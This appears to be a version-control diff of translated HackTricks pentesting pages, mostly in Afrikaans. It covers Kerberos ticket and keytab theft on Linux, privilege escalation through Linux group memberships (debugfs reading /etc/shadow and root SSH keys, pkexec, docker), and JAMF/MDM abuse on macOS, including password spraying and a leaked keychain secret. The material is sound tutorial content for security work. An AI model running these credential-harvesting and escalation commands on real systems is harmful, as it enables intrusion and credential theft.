FreeIPA is 'n oopbron **alternatief** vir Microsoft Windows **Active Directory**, hoofsaaklik vir **Unix** omgewings. Dit kombineer 'n volledige **LDAP gids** met 'n MIT **Kerberos** Sleutelverspreidingsentrum vir bestuur soortgelyk aan Active Directory. Dit gebruik die Dogtag **Sertifikaatstelsel** vir CA & RA sertifikaatbestuur, en ondersteun **multi-faktor** verifikasie, insluitend slimkaarte. SSSD is geïntegreer vir Unix verifikasieprosesse. Leer meer daaroor in:
|
||||||
|
|
||||||
{% content-ref url="../freeipa-pentesting.md" %}
|
{% content-ref url="../freeipa-pentesting.md" %}
|
||||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Playing with tickets
|
## Speel met kaartjies
|
||||||
|
|
||||||
### Pass The Ticket
|
### Pass The Ticket
|
||||||
|
|
||||||
|
@ -49,11 +53,11 @@ Op hierdie bladsy gaan jy verskillende plekke vind waar jy **kerberos kaartjies
|
||||||
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### CCACHE ticket reuse from /tmp
|
### CCACHE kaartjie hergebruik vanaf /tmp
|
||||||
|
|
||||||
CCACHE lêers is binêre formate vir **storing Kerberos akrediteer** wat tipies met 600 toestemmings in `/tmp` gestoor word. Hierdie lêers kan geïdentifiseer word deur hul **naamformaat, `krb5cc_%{uid}`,** wat ooreenstem met die gebruiker se UID. Vir verifikasie van die verifikasieticket, moet die **omgewing veranderlike `KRB5CCNAME`** op die pad van die gewenste kaartjie lêer gestel word, wat hergebruik daarvan moontlik maak.
|
CCACHE lêers is binêre formate vir **storing Kerberos akrediteer** en word tipies gestoor met 600 toestemmings in `/tmp`. Hierdie lêers kan geïdentifiseer word deur hul **naamformaat, `krb5cc_%{uid}`,** wat ooreenstem met die gebruiker se UID. Vir verifikasie van die verifikasieticket, moet die **omgewing veranderlike `KRB5CCNAME`** op die pad van die gewenste kaartjie lêer gestel word, wat hergebruik moontlik maak.
|
||||||
|
|
||||||
Lys die huidige kaartjie wat vir verifikasie gebruik word met `env | grep KRB5CCNAME`. Die formaat is draagbaar en die kaartjie kan **hergebruik word deur die omgewing veranderlike** met `export KRB5CCNAME=/tmp/ticket.ccache` te stel. Kerberos kaartjie naamformaat is `krb5cc_%{uid}` waar uid die gebruiker se UID is.
|
Lys die huidige kaartjie wat vir verifikasie gebruik word met `env | grep KRB5CCNAME`. Die formaat is draagbaar en die kaartjie kan **hergebruik word deur die omgewing veranderlike** met `export KRB5CCNAME=/tmp/ticket.ccache` te stel. Kerberos kaartjie naamformaat is `krb5cc_%{uid}` waar uid die gebruiker UID is.
|
||||||
```bash
|
```bash
|
||||||
# Find tickets
|
# Find tickets
|
||||||
ls /tmp/ | grep krb5cc
|
ls /tmp/ | grep krb5cc
|
||||||
|
@ -75,16 +79,17 @@ make CONF=Release
|
||||||
```
|
```
|
||||||
Hierdie prosedure sal probeer om in verskeie sessies in te spuit, wat sukses aandui deur onttrokken kaartjies in `/tmp` te stoor met 'n naamkonvensie van `__krb_UID.ccache`.
|
Hierdie prosedure sal probeer om in verskeie sessies in te spuit, wat sukses aandui deur onttrokken kaartjies in `/tmp` te stoor met 'n naamkonvensie van `__krb_UID.ccache`.
|
||||||
|
|
||||||
|
|
||||||
### CCACHE kaartjie hergebruik van SSSD KCM
|
### CCACHE kaartjie hergebruik van SSSD KCM
|
||||||
|
|
||||||
SSSD hou 'n kopie van die databasis by die pad `/var/lib/sss/secrets/secrets.ldb`. Die ooreenstemmende sleutel word as 'n verborge lêer by die pad `/var/lib/sss/secrets/.secrets.mkey` gestoor. Standaard is die sleutel slegs leesbaar as jy **root** regte het.
|
SSSD hou 'n kopie van die databasis by die pad `/var/lib/sss/secrets/secrets.ldb`. Die ooreenstemmende sleutel word as 'n verborge lêer by die pad `/var/lib/sss/secrets/.secrets.mkey` gestoor. Standaard is die sleutel slegs leesbaar as jy **root** regte het.
|
||||||
|
|
||||||
Die **`SSSDKCMExtractor`** met die --database en --key parameters aanroep sal die databasis ontleed en **die geheime ontcijfer**.
|
Die aanroep van \*\*`SSSDKCMExtractor` \*\* met die --database en --key parameters sal die databasis ontleed en **die geheime ontcijfer**.
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||||
```
|
```
|
||||||
Die **akkrediteringskas Kerberos blob kan omskep word in 'n bruikbare Kerberos CCache** lêer wat aan Mimikatz/Rubeus oorgedra kan word.
|
Die **akkrediteringskas Kerberos blob kan in 'n bruikbare Kerberos CCache** lêer omgeskakel word wat aan Mimikatz/Rubeus oorgedra kan word.
|
||||||
|
|
||||||
### CCACHE kaartjie hergebruik vanaf keytab
|
### CCACHE kaartjie hergebruik vanaf keytab
|
||||||
```bash
|
```bash
|
||||||
|
@ -94,7 +99,7 @@ klist -k /etc/krb5.keytab
|
||||||
```
|
```
|
||||||
### Trek rekeninge uit /etc/krb5.keytab
|
### Trek rekeninge uit /etc/krb5.keytab
|
||||||
|
|
||||||
Diensrekening sleutels, wat noodsaaklik is vir dienste wat met wortelprivileges werk, word veilig gestoor in **`/etc/krb5.keytab`** lêers. Hierdie sleutels, soortgelyk aan wagwoorde vir dienste, vereis streng vertroulikheid.
|
Diensrekening sleutels, wat noodsaaklik is vir dienste wat met root regte werk, word veilig gestoor in **`/etc/krb5.keytab`** lêers. Hierdie sleutels, soortgelyk aan wagwoorde vir dienste, vereis streng vertroulikheid.
|
||||||
|
|
||||||
Om die inhoud van die keytab-lêer te ondersoek, kan **`klist`** gebruik word. Die hulpmiddel is ontwerp om sleuteldetails te vertoon, insluitend die **NT Hash** vir gebruikersverifikasie, veral wanneer die sleuteltipe as 23 geïdentifiseer word.
|
Om die inhoud van die keytab-lêer te ondersoek, kan **`klist`** gebruik word. Die hulpmiddel is ontwerp om sleuteldetails te vertoon, insluitend die **NT Hash** vir gebruikersverifikasie, veral wanneer die sleuteltipe as 23 geïdentifiseer word.
|
||||||
```bash
|
```bash
|
||||||
|
@ -106,11 +111,11 @@ Vir Linux gebruikers bied **`KeyTabExtract`** funksionaliteit om die RC4 HMAC-ha
|
||||||
python3 keytabextract.py krb5.keytab
|
python3 keytabextract.py krb5.keytab
|
||||||
# Expected output varies based on hash availability
|
# Expected output varies based on hash availability
|
||||||
```
|
```
|
||||||
Op macOS dien **`bifrost`** as 'n hulpmiddel vir sleuteltabelfilaanalise.
|
Op macOS dien **`bifrost`** as 'n hulpmiddel vir sleuteltab lêer analise.
|
||||||
```bash
|
```bash
|
||||||
./bifrost -action dump -source keytab -path /path/to/your/file
|
./bifrost -action dump -source keytab -path /path/to/your/file
|
||||||
```
|
```
|
||||||
Deur die onttrokken rekening- en hash-inligting te gebruik, kan verbindings met bedieners gevestig word met behulp van gereedskap soos **`crackmapexec`**.
|
Met die onttrokken rekening- en hash-inligting kan verbindings met bedieners gevestig word met behulp van gereedskap soos **`crackmapexec`**.
|
||||||
```bash
|
```bash
|
||||||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||||
```
|
```
|
||||||
|
@ -119,6 +124,10 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
|
||||||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -1,18 +1,24 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
|
||||||
|
Kry Toegang Vandag:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
# Sudo/Admin Groepe
|
# Sudo/Admin Groepe
|
||||||
|
|
||||||
|
@ -43,7 +49,7 @@ Kontroleer die inhoud van:
|
||||||
```bash
|
```bash
|
||||||
cat /etc/polkit-1/localauthority.conf.d/*
|
cat /etc/polkit-1/localauthority.conf.d/*
|
||||||
```
|
```
|
||||||
Daar sal jy vind watter groepe toegelaat word om **pkexec** uit te voer en **per standaard** kan sommige van die groepe **sudo of admin** **verskyn**.
|
Daar sal jy vind watter groepe toegelaat word om **pkexec** uit te voer en **per standaard** kan sommige van die groepe **sudo of admin** in linux **verskyn**.
|
||||||
|
|
||||||
Om **root te word kan jy uitvoer**:
|
Om **root te word kan jy uitvoer**:
|
||||||
```bash
|
```bash
|
||||||
|
@ -72,7 +78,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
# Wielgroep
|
# Wheel Group
|
||||||
|
|
||||||
**Soms**, **per standaard** binne die **/etc/sudoers** lêer kan jy hierdie lyn vind:
|
**Soms**, **per standaard** binne die **/etc/sudoers** lêer kan jy hierdie lyn vind:
|
||||||
```text
|
```text
|
||||||
|
@ -84,9 +90,9 @@ As dit die geval is, om **root te word kan jy net uitvoer**:
|
||||||
```text
|
```text
|
||||||
sudo su
|
sudo su
|
||||||
```
|
```
|
||||||
# Shadow Groep
|
# Shadow Group
|
||||||
|
|
||||||
Gebruikers van die **groep shadow** kan **lees** die **/etc/shadow** lêer:
|
Users from the **group shadow** can **read** the **/etc/shadow** file:
|
||||||
```text
|
```text
|
||||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||||
```
|
```
|
||||||
|
@ -104,7 +110,7 @@ debugfs: ls
|
||||||
debugfs: cat /root/.ssh/id_rsa
|
debugfs: cat /root/.ssh/id_rsa
|
||||||
debugfs: cat /etc/shadow
|
debugfs: cat /etc/shadow
|
||||||
```
|
```
|
||||||
Let wel dat jy met debugfs ook **lêers kan skryf**. Byvoorbeeld, om `/tmp/asd1.txt` na `/tmp/asd2.txt` te kopieer, kan jy doen:
|
Let daarop dat jy met debugfs ook **lêers kan skryf**. Byvoorbeeld, om `/tmp/asd1.txt` na `/tmp/asd2.txt` te kopieer, kan jy doen:
|
||||||
```bash
|
```bash
|
||||||
debugfs -w /dev/sda1
|
debugfs -w /dev/sda1
|
||||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||||
|
@ -119,9 +125,9 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||||
```
|
```
|
||||||
Die **tty1** beteken dat die gebruiker **yossi fisies ingelog is** op 'n terminal op die masjien.
|
Die **tty1** beteken dat die gebruiker **yossi fisies ingelogde** is op 'n terminal op die masjien.
|
||||||
|
|
||||||
Die **video-groep** het toegang om die skermuitset te sien. Basies kan jy die skerms observeer. Om dit te doen, moet jy die **huidige beeld op die skerm** in rou data gryp en die resolusie wat die skerm gebruik, kry. Die skermdata kan gestoor word in `/dev/fb0` en jy kan die resolusie van hierdie skerm op `/sys/class/graphics/fb0/virtual_size` vind.
|
Die **video groep** het toegang om die skermuitset te sien. Basies kan jy die skerms observeer. Om dit te doen, moet jy die **huidige beeld op die skerm** in rou data gryp en die resolusie wat die skerm gebruik, kry. Die skermdata kan gestoor word in `/dev/fb0` en jy kan die resolusie van hierdie skerm op `/sys/class/graphics/fb0/virtual_size` vind.
|
||||||
```bash
|
```bash
|
||||||
cat /dev/fb0 > /tmp/screen.raw
|
cat /dev/fb0 > /tmp/screen.raw
|
||||||
cat /sys/class/graphics/fb0/virtual_size
|
cat /sys/class/graphics/fb0/virtual_size
|
||||||
|
@ -136,7 +142,7 @@ Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en k
|
||||||
|
|
||||||
# Root Groep
|
# Root Groep
|
||||||
|
|
||||||
Dit lyk of **lede van die root groep** standaard toegang kan hê om **te wysig** sommige **diens** konfigurasielêers of sommige **biblioteek** lêers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog...
|
Dit lyk of **lede van die root groep** standaard toegang kan hê om sommige **diens** konfigurasielêers of sommige **biblioteek** lêers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog, te **wysig**...
|
||||||
|
|
||||||
**Kontroleer watter lêers root lede kan wysig**:
|
**Kontroleer watter lêers root lede kan wysig**:
|
||||||
```bash
|
```bash
|
||||||
|
@ -144,7 +150,7 @@ find / -group root -perm -g=w 2>/dev/null
|
||||||
```
|
```
|
||||||
# Docker Groep
|
# Docker Groep
|
||||||
|
|
||||||
Jy kan die wortel lêersisteem van die gasheer masjien aan 'n instansie se volume monteer, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief wortel op die masjien.
|
Jy kan die wortel lêer stelsel van die gasheer masjien aan 'n instansie se volume monteer, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief wortel op die masjien.
|
||||||
|
|
||||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||||
|
|
||||||
|
@ -154,6 +160,14 @@ Jy kan die wortel lêersisteem van die gasheer masjien aan 'n instansie se volum
|
||||||
|
|
||||||
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
|
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
|
||||||
|
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
|
||||||
|
Kry Vandag Toegang:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -15,6 +15,14 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploitte om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Misbruik van MDMs
|
## Misbruik van MDMs
|
||||||
|
|
||||||
* JAMF Pro: `jamf checkJSSConnection`
|
* JAMF Pro: `jamf checkJSSConnection`
|
||||||
|
@ -34,17 +42,19 @@ Vir red teaming in MacOS omgewings is dit hoogs aanbeveel om 'n bietjie begrip t
|
||||||
|
|
||||||
Om jou eie MDM te laat loop, moet jy **jou CSR deur 'n verskaffer laat teken** wat jy kan probeer om te kry met [**https://mdmcert.download/**](https://mdmcert.download/). En om jou eie MDM vir Apple toestelle te laat loop, kan jy [**MicroMDM**](https://github.com/micromdm/micromdm) gebruik.
|
Om jou eie MDM te laat loop, moet jy **jou CSR deur 'n verskaffer laat teken** wat jy kan probeer om te kry met [**https://mdmcert.download/**](https://mdmcert.download/). En om jou eie MDM vir Apple toestelle te laat loop, kan jy [**MicroMDM**](https://github.com/micromdm/micromdm) gebruik.
|
||||||
|
|
||||||
Om 'n toestel in 'n MDM te registreer, moet jy 'n **`mobileconfig`** lêer as root installeer, wat via 'n **pkg** lêer afgelewer kan word (jy kan dit in zip komprimeer en wanneer dit van safari afgelaai word, sal dit uitgepak word).
|
Om egter 'n toepassing op 'n geregistreerde toestel te installeer, moet dit steeds deur 'n ontwikkelaar rekening geteken wees... egter, by MDM registrasie voeg die **toestel die SSL sertifikaat van die MDM as 'n vertroude CA** by, so jy kan nou enigiets teken.
|
||||||
|
|
||||||
|
Om die toestel in 'n MDM te registreer, moet jy 'n **`mobileconfig`** lêer as root installeer, wat via 'n **pkg** lêer afgelewer kan word (jy kan dit in zip komprimeer en wanneer dit van safari afgelaai word, sal dit uitgepak word).
|
||||||
|
|
||||||
**Mythic agent Orthrus** gebruik hierdie tegniek.
|
**Mythic agent Orthrus** gebruik hierdie tegniek.
|
||||||
|
|
||||||
### Misbruik van JAMF PRO
|
### Misbruik van JAMF PRO
|
||||||
|
|
||||||
JAMF kan **aangepaste skripte** (skripte wat deur die sysadmin ontwikkel is), **natuurlike payloads** (lokale rekening skepping, EFI wagwoord instel, lêer/proses monitering...) en **MDM** (toestel konfigurasies, toestel sertifikate...) uitvoer.
|
JAMF kan **pasgemaakte skripte** (skripte wat deur die sysadmin ontwikkel is), **natuurlike payloads** (lokale rekening skepping, EFI wagwoord instel, lêer/proses monitering...) en **MDM** (toestel konfigurasies, toestel sertifikate...) uitvoer.
|
||||||
|
|
||||||
#### JAMF self-registrasie
|
#### JAMF self-registrasie
|
||||||
|
|
||||||
Gaan na 'n bladsy soos `https://<company-name>.jamfcloud.com/enroll/` om te sien of hulle **self-registrasie geaktiveer** het. As hulle dit het, mag dit **om akrediteer vra**.
|
Gaan na 'n bladsy soos `https://<company-name>.jamfcloud.com/enroll/` om te sien of hulle **self-registrasie geaktiveer** het. As hulle dit het, kan dit **om akrediteer vra**.
|
||||||
|
|
||||||
Jy kan die skrip [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) gebruik om 'n wagwoord spuit aanval uit te voer.
|
Jy kan die skrip [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) gebruik om 'n wagwoord spuit aanval uit te voer.
|
||||||
|
|
||||||
|
@ -56,10 +66,10 @@ Boonop, nadat jy die regte akrediteer gevind het, kan jy in staat wees om ander
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Die **`jamf`** binêre het die geheim bevat om die sleutelring te open wat ten tyde van die ontdekking **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
|
Die **`jamf`** binêre het die geheim bevat om die sleutelring te open wat op die tyd van die ontdekking **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
|
||||||
Boonop, jamf **bly** as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
Boonop, jamf **bly** as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||||
|
|
||||||
#### JAMF Toestel Oorneming
|
#### JAMF Toestel Oorname
|
||||||
|
|
||||||
Die **JSS** (Jamf Software Server) **URL** wat **`jamf`** sal gebruik, is geleë in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
Die **JSS** (Jamf Software Server) **URL** wat **`jamf`** sal gebruik, is geleë in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||||
Hierdie lêer bevat basies die URL:
|
Hierdie lêer bevat basies die URL:
|
||||||
|
@ -105,7 +115,7 @@ Met hierdie inligting, **skep 'n VM** met die **gestole** Hardeware **UUID** en
|
||||||
|
|
||||||
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat admins mag wil uitvoer via Jamf, aangesien hulle **hier geplaas, uitgevoer en verwyder** word. Hierdie skripte **kan akrediteer** bevat.
|
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat admins mag wil uitvoer via Jamf, aangesien hulle **hier geplaas, uitgevoer en verwyder** word. Hierdie skripte **kan akrediteer** bevat.
|
||||||
|
|
||||||
Echter, **akrediteer** kan deur hierdie skripte as **parameters** oorgedra word, so jy sal `ps aux | grep -i jamf` moet monitor (sonder om eers root te wees).
|
Echter, **akrediteer** kan deur hierdie skripte as **parameters** oorgedra word, so jy sal `ps aux | grep -i jamf` moet monitor (sonder om root te wees).
|
||||||
|
|
||||||
Die skrip [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kan luister vir nuwe lêers wat bygevoeg word en nuwe proses argumente.
|
Die skrip [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kan luister vir nuwe lêers wat bygevoeg word en nuwe proses argumente.
|
||||||
|
|
||||||
|
@ -119,7 +129,7 @@ En ook oor **MacOS** "spesiale" **netwerk** **protokolle**:
|
||||||
|
|
||||||
## Aktiewe Gids
|
## Aktiewe Gids
|
||||||
|
|
||||||
In sommige gevalle sal jy vind dat die **MacOS rekenaar aan 'n AD** gekonnekteer is. In hierdie scenario moet jy probeer om die aktiewe gids te **nommer** soos jy gewoond is. Vind 'n bietjie **hulp** in die volgende bladsye:
|
In sommige gevalle sal jy vind dat die **MacOS rekenaar aan 'n AD** gekoppel is. In hierdie scenario moet jy probeer om die aktiewe gids te **nommer** soos jy gewoond is. Vind 'n bietjie **hulp** in die volgende bladsye:
|
||||||
|
|
||||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||||
|
@ -133,7 +143,7 @@ In sommige gevalle sal jy vind dat die **MacOS rekenaar aan 'n AD** gekonnekteer
|
||||||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||||
